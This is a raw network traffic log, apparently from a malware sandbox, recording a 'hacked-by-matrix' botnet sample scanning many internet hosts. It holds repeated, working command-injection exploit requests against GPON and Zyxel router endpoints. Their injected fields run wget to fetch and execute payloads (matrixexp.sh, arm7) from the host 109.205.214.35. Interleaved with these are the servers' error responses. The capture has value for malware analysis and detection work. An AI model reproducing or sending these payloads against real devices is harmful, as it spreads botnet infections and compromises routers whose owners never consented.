20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:32 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.13	41036	16.171.205.181	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.829219103 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:33.016748905 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:18:32 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.13	35034	94.123.254.255	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.854391098 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:37.109357119 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:43.251965046 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:55.287031889 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.13	39578	145.239.255.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.915599108 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:33.783843040 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:33.978431940 CET	372	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:33 GMT Content-Type: text/html Content-Length: 166 Connection: close Access-Control-Allow-Origin: default_origin.com Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.13	41800	80.2.197.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.028651953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:35.059962034 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:37.619843960 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:42.486979961 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:52.211842060 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.13	52166	181.215.16.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.846494913 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.013974905 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.13	42778	83.149.165.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.847507954 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.033391953 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.13	41370	2.178.143.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.903670073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.13	59822	118.95.52.129	443

Timestamp	Bytes transferred	Direction	Data
